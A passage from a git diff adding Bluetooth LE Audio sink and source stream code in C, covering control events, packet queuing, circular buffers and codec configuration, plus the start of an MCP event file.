service_timer_t* recv_timer; + struct list_node packet_queue; + lea_audio_config_t audio_config; +} lea_sink_stream_t; + +/**************************************************************************** + * Private Data + ****************************************************************************/ + +static lea_sink_stream_t g_sink_stream; +static lea_sink_callabcks_t* g_sink_callbacks; +static audio_transport_t* g_sink_transport; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ + +static bt_status_t lea_sink_update_codec(lea_audio_config_t* audio_config, bool enable); + +/**************************************************************************** + * Private function + ****************************************************************************/ + +static void lea_ctrl_event_with_data(uint8_t ch_id, audio_ctrl_evt_t event, uint8_t* data, uint8_t data_len) +{ + uint8_t stream[128]; + uint8_t* p = stream; + + BT_LOGD("%s, event:%d", __func__, event); + + UINT8_TO_STREAM(p, event); + if (data_len) { + ARRAY_TO_STREAM(p, data, data_len); + } + + if (g_sink_transport != NULL) { + audio_transport_write(g_sink_transport, ch_id, stream, data_len + CTRL_EVT_HEADER_LEN, NULL); + } +} + +static void lea_control_event(uint8_t ch_id, audio_ctrl_evt_t evt) +{ + lea_ctrl_event_with_data(ch_id, evt, NULL, 0); +} + +static const char* audio_event_to_string(audio_ctrl_cmd_t event) +{ + switch (event) { + CASE_RETURN_STR(AUDIO_CTRL_CMD_START) + CASE_RETURN_STR(AUDIO_CTRL_CMD_STOP) + CASE_RETURN_STR(AUDIO_CTRL_CMD_CONFIG_DONE) + default: + return "UNKNOWN_EVENT"; + } +} + +static void lea_sink_recv_ctrl_data(audio_ctrl_cmd_t cmd) +{ + BT_LOGD("%s: lea-ctrl-cmd : %s", __func__, audio_event_to_string(cmd)); + + switch (cmd) { + case AUDIO_CTRL_CMD_START: { + lea_audio_sink_start(); + lea_control_event(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, AUDIO_CTRL_EVT_STARTED); + if (g_sink_callbacks) { + g_sink_callbacks->lea_audio_resume_cb(); + } + break; + } + case AUDIO_CTRL_CMD_STOP: { + lea_audio_sink_stop(false); + if (g_sink_callbacks) { + g_sink_callbacks->lea_audio_suspend_cb(); + } + break; + } + case AUDIO_CTRL_CMD_CONFIG_DONE: { + if (g_sink_callbacks) { + g_sink_callbacks->lea_audio_meatadata_updated_cb(); + } + break; + } + default: { + BT_LOGW("%s: ### EVENT %d NOT HANDLED ###", __func__, cmd); + break; + } + } +} + +static void lea_sink_ctrl_buffer_alloc(uint8_t ch_id, uint8_t** buffer, size_t* len) +{ + if (ch_id != CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL) { + BT_LOGE("fail, ch_id:%d", ch_id); + return; + } + + *len = 128; + *buffer = malloc(*len); +} + +static void lea_sink_ctrl_data_received(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + audio_ctrl_cmd_t cmd; + uint8_t* pbuf = buffer; + + if (ch_id != CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL) { + BT_LOGE("fail, ch_id:%d", ch_id); + return; + } + + if (len < 0) { + BT_LOGE("%s, len:%d", __func__, len); + audio_transport_read_stop(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL); + } + + while (len > 0) { + STREAM_TO_UINT8(cmd, pbuf); + len--; + lea_sink_recv_ctrl_data(cmd); + } + // free the buffer alloced by lea_sink_ctrl_buffer_alloc + free(buffer); +} + +static void lea_sink_ctrl_start(void) +{ + audio_transport_read_start(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, lea_sink_ctrl_buffer_alloc, lea_sink_ctrl_data_received); +} + +static void lea_sink_ctrl_stop(void) +{ + audio_transport_read_stop(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL); +} + +static void lea_sink_ctrl_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s: ch_id:%d lea-ctrl-cmd : %s", __func__, ch_id, audio_transport_dump_event(event)); + + if (ch_id != CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL) { + BT_LOGE("fail, ch_id:%d", ch_id); + return; + } + + switch (event) { + case TRANSPORT_OPEN_EVT: { + lea_sink_stream_t* stream = &g_sink_stream; + + lea_sink_ctrl_start(); + if (stream->state == STREAM_STATE_RUNNING) { + lea_sink_update_codec(&stream->audio_config, true); + } + break; + } + case TRANSPORT_CLOSE_EVT: { + lea_sink_ctrl_stop(); + break; + } + default: { + BT_LOGW("%s: ### EVENT %d NOT HANDLED ###", __func__, event); + break; + } + } +} + +static void lea_sink_data_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s: ch_id:%d lea-ctrl-cmd : %s", __func__, ch_id, audio_transport_dump_event(event)); + + switch (event) { + case TRANSPORT_OPEN_EVT: { + break; + } + case TRANSPORT_CLOSE_EVT: { + break; + } + default: { + BT_LOGW("%s: ### LEA-DATA EVENT %d NOT HANDLED ###", __func__, event); + break; + } + } +} + +static void lea_sink_write_done(uint8_t ch_id, uint8_t* buffer) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + if (ch_id != CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO) { + BT_LOGE("%s, error ch_id:%d", __func__, ch_id); + return; + } + + if (stream->packet_sending_cnt > 0) { + stream->packet_sending_cnt--; + } +} + +static void lea_sink_audio_handle_timer(service_timer_t* timer, void* data) +{ + lea_sink_stream_t* stream = (lea_sink_stream_t*)data; + struct list_node* queue = &stream->packet_queue; + lea_recv_iso_data_t* packet = NULL; + struct list_node *node, *tmp; + int ret; + + uv_mutex_lock(&stream->queue_lock); + if (list_is_empty(queue) == true) { + if (!stream->underflow_ts) + stream->underflow_ts = bt_get_os_timestamp_us(); + goto out; + } + + if (stream->underflow_ts) { + uint64_t now_us = bt_get_os_timestamp_us(); + uint64_t miss_tick = (now_us - stream->underflow_ts) / (uint64_t)(LEA_SINK_MEDIA_TICK_MS * 1000); + if (miss_tick > 2) { + BT_LOGD("%s underflow, miss ticks: %" PRIu64, __func__, miss_tick); + } + stream->underflow_ts = 0; + } + + list_for_every_safe(queue, node, tmp) + { + if (stream->packet_sending_cnt == LEA_ASYNC_SEND_COUNT) { + if (stream->block_ticks++ > 2) { + BT_LOGD("%s transport blocking, block ticks:%" PRIu32, __func__, stream->block_ticks); + } + goto out; + } + + stream->block_ticks = 0; + packet = (lea_recv_iso_data_t*)node; + ret = audio_transport_write(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO, + packet->sdu, packet->length, lea_sink_write_done); + if (ret != 0) { + BT_LOGE("%s, packet write failed", __func__); + goto out; + } + + stream->packet_sending_cnt++; + list_delete(node); + lea_audio_sink_packet_free(packet); + } + +out: + uv_mutex_unlock(&stream->queue_lock); +} + +static void lea_sink_flush_packet_queue(void) +{ + lea_sink_stream_t* stream = &g_sink_stream; + struct list_node *node, *tmp; + + list_for_every_safe(&stream->packet_queue, node, tmp) + { + list_delete(node); + free(node); + } +} + +static bt_status_t lea_sink_update_codec(lea_audio_config_t* audio_config, bool enable) +{ + uint8_t buffer[64]; + uint8_t len; + uint8_t* p = buffer; + + len = 21; + /* set valid code */ + UINT8_TO_STREAM(p, enable); + /* set codec type*/ + UINT32_TO_STREAM(p, audio_config->codec_type); + /* set sample rate*/ + UINT32_TO_STREAM(p, audio_config->sample_rate); + /* set bits_per_sample*/ + UINT32_TO_STREAM(p, audio_config->bits_per_sample); + /* set channel_mode*/ + UINT32_TO_STREAM(p, audio_config->channel_mode); + /* set bit rate*/ + UINT32_TO_STREAM(p, audio_config->bit_rate); + + len += 8; + UINT32_TO_STREAM(p, audio_config->frame_size); + UINT32_TO_STREAM(p, audio_config->packet_size); + + lea_ctrl_event_with_data(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, AUDIO_CTRL_EVT_UPDATE_CONFIG, buffer, len); + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * Public function + ****************************************************************************/ + +void lea_audio_sink_set_callback(lea_sink_callabcks_t* callback) +{ + g_sink_callbacks = callback; +} + +bt_status_t lea_audio_sink_init(bool offloading) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + BT_LOGD("%s, offloading:%d", __func__, offloading); + if (g_sink_transport) { + BT_LOGD("%s, already inited", __func__); + return BT_STATUS_SUCCESS; + } + + stream->recv_timer = NULL; + stream->state = STREAM_STATE_OFF; + stream->offloading = offloading; + + g_sink_transport = audio_transport_init(get_service_uv_loop()); + if (!g_sink_transport) { + BT_LOGE("fail, audio_transport_init"); + return BT_STATUS_FAIL; + } + + if (!audio_transport_open(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, + CONFIG_BLUETOOTH_LEA_SINK_CTRL_PATH, lea_sink_ctrl_cb)) { + BT_LOGE("fail, audio_transport_open sink ctrl"); + return BT_STATUS_FAIL; + } + + if (stream->offloading) { + return BT_STATUS_SUCCESS; + } + + uv_mutex_init(&stream->queue_lock); + list_initialize(&stream->packet_queue); + if (!audio_transport_open(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO, + CONFIG_BLUETOOTH_LEA_SINK_DATA_PATH, lea_sink_data_cb)) { + BT_LOGE("fail, audio_transport_open sink audio"); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +lea_recv_iso_data_t* lea_audio_sink_packet_alloc(uint32_t timestamp, uint16_t seq, uint8_t* data, uint16_t length) +{ + lea_recv_iso_data_t* packet; + + (void)seq; + (void)timestamp; + + packet = malloc(sizeof(lea_recv_iso_data_t) + length); + if (!packet) { + BT_LOGE("fail, packet malloc"); + return NULL; + } + + packet->length = length; + packet->seq = seq; + packet->time_stamp = timestamp; + memcpy(packet->sdu, data, length); + + return packet; +} + +void lea_audio_sink_packet_free(lea_recv_iso_data_t* packet) +{ + free(packet); +} + +bt_status_t lea_audio_sink_start(void) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + stream->ready = true; + if (stream->state == STREAM_STATE_RUNNING) { + BT_LOGD("%s stream was started", __func__) + return BT_STATUS_FAIL; + } + + stream->state = STREAM_STATE_RUNNING; + if (stream->offloading) { + return BT_STATUS_SUCCESS; + } + + lea_sink_flush_packet_queue(); + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_audio_sink_stop(bool update_codec) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + BT_LOGD("%s, update_codec:%d", __func__, update_codec); + stream->ready = false; + if (stream->state == STREAM_STATE_OFF) { + BT_LOGD("%s stream was stopped", __func__) + return BT_STATUS_FAIL; + } + + if (update_codec) { + lea_sink_update_codec(&stream->audio_config, false); + } + + if (!stream->offloading) { + service_loop_cancel_timer(stream->recv_timer); + stream->recv_timer = NULL; + lea_sink_flush_packet_queue(); + } + + stream->state = STREAM_STATE_OFF; + lea_control_event(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL, AUDIO_CTRL_EVT_STOPPED); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_audio_sink_suspend(void) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + if (!stream->ready) { + BT_LOGE("fail, %s stream not ready", __func__); + return BT_STATUS_FAIL; + } + + return lea_audio_sink_stop(false); +} + +bt_status_t lea_audio_sink_resume(void) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + if (!stream->ready) { + BT_LOGE("fail, %s stream not ready", __func__); + return BT_STATUS_FAIL; + } + + return lea_audio_sink_start(); +} + +bt_status_t lea_audio_sink_mute(bool mute) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + if (!stream->ready) { + BT_LOGE("fail, %s stream not ready", __func__); + return BT_STATUS_FAIL; + } + + if (mute) { + return lea_audio_sink_stop(false); + } else { + return lea_audio_sink_resume(); + } +} + +bt_status_t lea_audio_sink_update_codec(lea_audio_config_t* audio_config, uint16_t sdu_size) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + BT_LOGD("%s, codec_type:%d, sample_rate:%d, bits_per_sample:%d, channel_mode:%d, bit_rate:%d", __func__, audio_config->codec_type, audio_config->sample_rate, audio_config->bits_per_sample, audio_config->channel_mode, audio_config->bit_rate); + + (void)sdu_size; + memcpy(&stream->audio_config, audio_config, sizeof(lea_audio_config_t)); + + bt_media_set_lea_available(); + if (!lea_audio_sink_ctrl_is_connected()) { + BT_LOGD("failed, %s ctrl transport was not connected", __func__); + return BT_STATUS_IPC_ERROR; + } + + return lea_sink_update_codec(audio_config, true); +} + +void lea_audio_sink_packet_recv(lea_recv_iso_data_t* packet) +{ + lea_sink_stream_t* stream = &g_sink_stream; + struct list_node* queue = &stream->packet_queue; + + if (packet == NULL) { + return; + } + + if (stream->state != STREAM_STATE_RUNNING) { + free(packet); + return; + } + + uv_mutex_lock(&stream->queue_lock); + if (list_length(queue) == LEA_MAX_ENQUEUE_PACKET_COUNT) { + BT_LOGD("%s queue is full, drop head packet", __func__); + struct list_node* pkt = list_remove_head(queue); + free(pkt); + list_add_tail(queue, &packet->node); + uv_mutex_unlock(&stream->queue_lock); + return; + } + + list_add_tail(queue, &packet->node); + if (list_length(queue) >= LEA_MAX_DELAY_PACKET_COUNT && !stream->recv_timer) { + BT_LOGD("%s start trans packet", __func__); + stream->underflow_ts = 0; + stream->block_ticks = 0; + stream->recv_timer = service_loop_timer(10, LEA_SINK_MEDIA_TICK_MS, lea_sink_audio_handle_timer, stream); + } + uv_mutex_unlock(&stream->queue_lock); +} + +bool lea_audio_sink_is_started(void) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + return stream->ready; +} + +bool lea_audio_sink_ctrl_is_connected(void) +{ + transport_conn_state_t state; + + state = audio_transport_get_state(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL); + if (state == IPC_CONNTECTED) { + return true; + } + + return false; +} + +void lea_audio_sink_cleanup(void) +{ + lea_sink_stream_t* stream = &g_sink_stream; + + stream->ready = false; + + audio_transport_close(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL); + g_sink_transport = NULL; + g_sink_callbacks = NULL; + + if (stream->offloading) { + return; + } + + audio_transport_close(g_sink_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO); +} diff --git a/service/profiles/leaudio/lea_audio_source.c b/service/profiles/leaudio/lea_audio_source.c new file mode 100644 index 0000000000000000000000000000000000000000..17d8800cc40fec18edb5079666c7d7765a80c1d9 --- /dev/null +++ b/service/profiles/leaudio/lea_audio_source.c @@ -0,0 +1,541 @@ +/**************************************************************************** + * frameworks/bluetooth/btservice/leaudio/audio_sink.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_audio_source" + +#include <errno.h> +#include <nuttx/mm/circbuf.h> +#include <stdlib.h> +#include <string.h> + +#include "audio_transport.h" +#include "bt_utils.h" +#include "lea_audio_sink.h" +#include "lea_audio_source.h" +#include "media_system.h" +#include "service_loop.h" +#include "utils/log.h" +#include "uv.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +#define CTRL_EVT_HEADER_LEN 1 + +#define LEA_SINK_MEDIA_TICK_MS 20 +#define LEA_MAX_DELAY_PACKET_COUNT 5 +#define LEA_MAX_ENQUEUE_PACKET_COUNT 14 +#define LEA_ASYNC_SEND_COUNT 14 +#define MAX_FRAME_NUM_PER_TICK 14 +#define STREAM_DELAY_MS 10 +#define STREAM_FLUSH_SIZE 1024 + +typedef enum { + STREAM_STATE_OFF, + STREAM_STATE_RUNNING, + STREAM_STATE_FLUSHING, + STREAM_STATE_CONNECTING, +} stream_state_t; + +typedef struct { + bool offloading; + stream_state_t stream_state; + uint8_t read_congest; + uint16_t sdu_size; + uint32_t interval_ms; + uint32_t sequence_number; + uint32_t max_tx_length; + service_timer_t* send_timer; + lea_audio_config_t audio_config; + struct circbuf_s stream_pool; +} lea_source_stream_t; + +/**************************************************************************** + * Private Data + ****************************************************************************/ + +static lea_source_stream_t g_source_stream; +static lea_source_callabcks_t* g_source_callbacks; +static audio_transport_t* g_source_transport; + +/**************************************************************************** + * Private Function Prototypes + ****************************************************************************/ + +static bt_status_t lea_source_update_codec(lea_audio_config_t* audio_config, bool enable); + +/**************************************************************************** + * Private function + ****************************************************************************/ + +static void lea_ctrl_event_with_data(uint8_t ch_id, audio_ctrl_evt_t event, uint8_t* data, uint8_t data_len) +{ + uint8_t stream[128]; + uint8_t* p = stream; + + BT_LOGD("%s, event:%d", __func__, event); + + UINT8_TO_STREAM(p, event); + if (data_len) { + ARRAY_TO_STREAM(p, data, data_len); + } + + /* send event */ + if (g_source_transport != NULL) { + audio_transport_write(g_source_transport, ch_id, stream, data_len + CTRL_EVT_HEADER_LEN, NULL); + } +} + +static void lea_control_event(uint8_t ch_id, audio_ctrl_evt_t evt) +{ + lea_ctrl_event_with_data(ch_id, evt, NULL, 0); +} + +static void lea_audio_sink_alloc(uint8_t ch_id, uint8_t** buffer, size_t* len) +{ + lea_source_stream_t* stream = &g_source_stream; + int space, next_to_read; + uint8_t* alloc_buffer; + + if (stream->stream_state == STREAM_STATE_FLUSHING) { + *len = STREAM_FLUSH_SIZE; + *buffer = (uint8_t*)malloc(STREAM_FLUSH_SIZE); + return; + } + + // check pool buffer space enough to read one frame + space = circbuf_space(&stream->stream_pool); + if (space == 0) { + BT_LOGE("%s, no enough space to read", __func__); + *buffer = NULL; + return; + } + + next_to_read = space > stream->sdu_size ? stream->sdu_size : space; + alloc_buffer = (void*)malloc(next_to_read); + + if (!alloc_buffer) { + *buffer = NULL; + audio_transport_read_stop(g_source_transport, ch_id); + return; + } + + *buffer = alloc_buffer; + *len = next_to_read; +} + +static void lea_audio_sink_recv(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + lea_source_stream_t* stream = &g_source_stream; + int space; + + if (buffer == NULL) + return; + + if (len <= 0) { + if (len < 0) + audio_transport_read_stop(g_source_transport, ch_id); + + goto out; + } + + space = circbuf_space(&stream->stream_pool); + if (len > space) { + BT_LOGE("%s, unexpected len:%d", __func__, len); + goto out; + } + + circbuf_write(&stream->stream_pool, buffer, len); + space = circbuf_space(&stream->stream_pool); + if (space == 0) { + BT_LOGD("%s, stream_pool over", __func__); + audio_transport_read_stop(g_source_transport, ch_id); + } + +out: + free(buffer); +} + +static int lea_audio_source_read(uint8_t* buf, uint16_t frame_len) +{ + lea_source_stream_t* stream = &g_source_stream; + + return circbuf_read(&stream->stream_pool, buf, frame_len); +} + +static void lea_audio_sink_handler(service_timer_t* timer, void* data) +{ + lea_source_stream_t* stream = (lea_source_stream_t*)data; + uint8_t buf[512]; + int size; + + if (stream->stream_state != STREAM_STATE_RUNNING) { + BT_LOGD("%s state:%d", __func__, stream->stream_state); + return; + } + + if (!g_source_callbacks) { + BT_LOGE("%s, callbacks null", __func__); + return; + } + + audio_transport_read_start(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO, lea_audio_sink_alloc, lea_audio_sink_recv); + + if (stream->sdu_size > 512) { + BT_LOGE("%s, sdu_size:%d over", __func__, stream->sdu_size); + return; + } + + while (circbuf_used(&stream->stream_pool) >= stream->sdu_size) { + size = lea_audio_source_read(buf, stream->sdu_size); + g_source_callbacks->lea_audio_send_cb(buf, size); + } +} + +static void lea_ctrl_buffer_alloc(uint8_t ch_id, uint8_t** buffer, size_t* len) +{ + *len = 128; + *buffer = malloc(*len); +} + +static const char* audio_event_to_string(audio_ctrl_cmd_t event) +{ + switch (event) { + CASE_RETURN_STR(AUDIO_CTRL_CMD_START) + CASE_RETURN_STR(AUDIO_CTRL_CMD_STOP) + CASE_RETURN_STR(AUDIO_CTRL_CMD_CONFIG_DONE) + default: + return "UNKNOWN_EVENT"; + } +} + +static void lea_recv_ctrl_data(uint8_t ch_id, audio_ctrl_cmd_t cmd) +{ + BT_LOGD("%s: lea-ctrl-cmd : %s", __func__, audio_event_to_string(cmd)); + + switch (cmd) { + case AUDIO_CTRL_CMD_START: { + lea_audio_source_start(); + lea_control_event(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, AUDIO_CTRL_EVT_STARTED); + if (g_source_callbacks) { + g_source_callbacks->lea_audio_resume_cb(); + } + break; + } + + case AUDIO_CTRL_CMD_STOP: { + lea_audio_source_stop(false); + if (g_source_callbacks) { + g_source_callbacks->lea_audio_suspend_cb(); + } + break; + } + + case AUDIO_CTRL_CMD_CONFIG_DONE: { + if (g_source_callbacks) { + g_source_callbacks->lea_audio_meatadata_updated_cb(); + } + break; + } + + default: + BT_LOGD("%s: UNSUPPORTED CMD (%d)", __func__, cmd); + break; + } +} + +static void lea_ctrl_data_received(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + audio_ctrl_cmd_t cmd; + uint8_t* pbuf = buffer; + + if (len <= 0) { + free(buffer); + if (len < 0) + audio_transport_read_stop(g_source_transport, ch_id); + return; + } + + while (len) { + /* get cmd code*/ + STREAM_TO_UINT8(cmd, pbuf); + len--; + /* process cmd*/ + lea_recv_ctrl_data(ch_id, cmd); + } + // free the buffer alloced by lea_ctrl_buffer_alloc + free(buffer); +} + +static void lea_source_ctrl_start(void) +{ + audio_transport_read_start(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, lea_ctrl_buffer_alloc, lea_ctrl_data_received); +} + +static void lea_source_ctrl_stop(void) +{ + audio_transport_read_stop(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL); +} + +static void lea_source_ctrl_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s: ch_id:%d audio-ctrl-cmd : %s", __func__, ch_id, audio_transport_dump_event(event)); + + if (ch_id != CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL) { + BT_LOGE("fail, ch_id:%d", ch_id); + return; + } + + switch (event) { + case TRANSPORT_OPEN_EVT: { + lea_source_stream_t* stream = &g_source_stream; + + lea_source_ctrl_start(); + if (stream->stream_state == STREAM_STATE_CONNECTING) { + lea_source_update_codec(&stream->audio_config, true); + } + break; + } + case TRANSPORT_CLOSE_EVT: { + lea_source_ctrl_stop(); + break; + } + default: { + BT_LOGW("%s: ### EVENT %d NOT HANDLED ###", __func__, event); + break; + } + } +} + +static void lea_source_data_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s: ch_id:%d audio-ctrl-cmd : %s", __func__, ch_id, audio_transport_dump_event(event)); + + switch (event) { + case TRANSPORT_OPEN_EVT: { + break; + } + case TRANSPORT_CLOSE_EVT: { + break; + } + default: { + BT_LOGW("%s: ### LEA-DATA EVENT %d NOT HANDLED ###", __func__, event); + break; + } + } +} + +static bt_status_t lea_source_update_codec(lea_audio_config_t* audio_config, bool enable) +{ + uint8_t buffer[64]; + uint8_t len; + uint8_t* p = buffer; + + len = 21; + /* set valid code */ + UINT8_TO_STREAM(p, enable); + /* set codec type*/ + UINT32_TO_STREAM(p, audio_config->codec_type); + /* set sample rate*/ + UINT32_TO_STREAM(p, audio_config->sample_rate); + /* set bits_per_sample*/ + UINT32_TO_STREAM(p, audio_config->bits_per_sample); + /* set channel_mode*/ + UINT32_TO_STREAM(p, audio_config->channel_mode); + /* set bit rate*/ + UINT32_TO_STREAM(p, audio_config->bit_rate); + + len += 8; + UINT32_TO_STREAM(p, audio_config->frame_size); + UINT32_TO_STREAM(p, audio_config->packet_size); + + lea_ctrl_event_with_data(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, AUDIO_CTRL_EVT_UPDATE_CONFIG, buffer, len); + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * Public function + ****************************************************************************/ + +void lea_audio_source_set_callback(lea_source_callabcks_t* callback) +{ + g_source_callbacks = callback; +} + +bt_status_t lea_audio_source_init(bool offloading) +{ + lea_source_stream_t* stream = &g_source_stream; + + BT_LOGD("%s, offloading:%d", __func__, offloading); + if (g_source_transport) { + BT_LOGD("%s, already inited", __func__); + return BT_STATUS_SUCCESS; + } + + stream->offloading = offloading; + stream->send_timer = NULL; + stream->stream_state = STREAM_STATE_OFF; + stream->interval_ms = 10; // todo get from lc3 config + + g_source_transport = audio_transport_init(get_service_uv_loop()); + if (!g_source_transport) { + BT_LOGE("fail, audio_transport_init"); + return BT_STATUS_FAIL; + } + + if (!audio_transport_open(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, + CONFIG_BLUETOOTH_LEA_SOURCE_CTRL_PATH, lea_source_ctrl_cb)) { + BT_LOGE("fail, audio_transport_open source ctrl"); + return BT_STATUS_FAIL; + } + + if (stream->offloading) { + return BT_STATUS_SUCCESS; + } + + if (!audio_transport_open(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO, + CONFIG_BLUETOOTH_LEA_SOURCE_DATA_PATH, lea_source_data_cb)) { + BT_LOGE("fail, audio_transport_open source audio"); + return BT_STATUS_FAIL; + } + + circbuf_init(&stream->stream_pool, NULL, 4096); + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_audio_source_start(void) +{ + lea_source_stream_t* stream = &g_source_stream; + + BT_LOGD("%s", __func__); + if (stream->stream_state == STREAM_STATE_RUNNING) { + BT_LOGD("%s. was running", __func__); + return BT_STATUS_SUCCESS; + } + + stream->stream_state = STREAM_STATE_RUNNING; + if (stream->offloading) { + return BT_STATUS_SUCCESS; + } + + circbuf_reset(&stream->stream_pool); + service_loop_cancel_timer(stream->send_timer); + stream->send_timer = service_loop_timer(stream->interval_ms, stream->interval_ms, lea_audio_sink_handler, stream); + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_audio_source_stop(bool update_codec) +{ + lea_source_stream_t* stream = &g_source_stream; + + BT_LOGD("%s,update_codec:%d", __func__, update_codec); + + if (stream->stream_state != STREAM_STATE_RUNNING) { + BT_LOGE("%s, was stopped", __func__); + return BT_STATUS_SUCCESS; + } + + if (update_codec) { + lea_source_update_codec(&stream->audio_config, false); + } + + if (!stream->offloading) { + audio_transport_read_stop(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO); + service_loop_cancel_timer(stream->send_timer); + stream->send_timer = NULL; + } + + stream->stream_state = STREAM_STATE_OFF; + lea_control_event(CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL, AUDIO_CTRL_EVT_STOPPED); + + return BT_STATUS_SUCCESS; +} + +bt_status_t lea_audio_source_suspend(void) +{ + return lea_audio_source_stop(false); +} + +bt_status_t lea_audio_source_resume(void) +{ + return lea_audio_source_start(); +} + +bt_status_t lea_audio_source_update_codec(lea_audio_config_t* audio_config, uint16_t sdu_size) +{ + lea_source_stream_t* stream = &g_source_stream; + + memcpy(&stream->audio_config, audio_config, sizeof(lea_audio_config_t)); + stream->sdu_size = sdu_size; + + BT_LOGD("%s, codec_type:%d, sample_rate:%d, bits_per_sample:%d, channel_mode:%d, bit_rate:%d", __func__, audio_config->codec_type, audio_config->sample_rate, audio_config->bits_per_sample, audio_config->channel_mode, audio_config->bit_rate); + + bt_media_set_lea_available(); + if (!lea_audio_source_ctrl_is_connected()) { + stream->stream_state = STREAM_STATE_CONNECTING; + BT_LOGD("failed, %s ctrl transport was not connected", __func__); + return BT_STATUS_IPC_ERROR; + } + + return lea_source_update_codec(audio_config, true); +} + +bool lea_audio_source_is_started(void) +{ + lea_source_stream_t* stream = &g_source_stream; + + return stream->stream_state != STREAM_STATE_OFF; +} + +bool lea_audio_source_ctrl_is_connected(void) +{ + transport_conn_state_t state; + + state = audio_transport_get_state(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL); + if (state == IPC_CONNTECTED) { + return true; + } + + return false; +} + +void lea_audio_source_cleanup(void) +{ + lea_source_stream_t* stream = &g_source_stream; + + stream->stream_state = STREAM_STATE_OFF; + audio_transport_close(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL); + g_source_transport = NULL; + g_source_callbacks = NULL; + + if (stream->offloading) { + return; + } + + audio_transport_close(g_source_transport, CONFIG_BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO); +} diff --git a/service/profiles/leaudio/mcp/lea_mcp_event.c b/service/profiles/leaudio/mcp/lea_mcp_event.c new file mode 100644 index 0000000000000000000000000000000000000000..e8f8b4fff58fcee88dfb6c48194534de5d826921 --- /dev/null +++ b/service/profiles/leaudio/mcp/lea_mcp_event.c @@ -0,0 +1,47 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" +#include "lea_mcp_event.h" 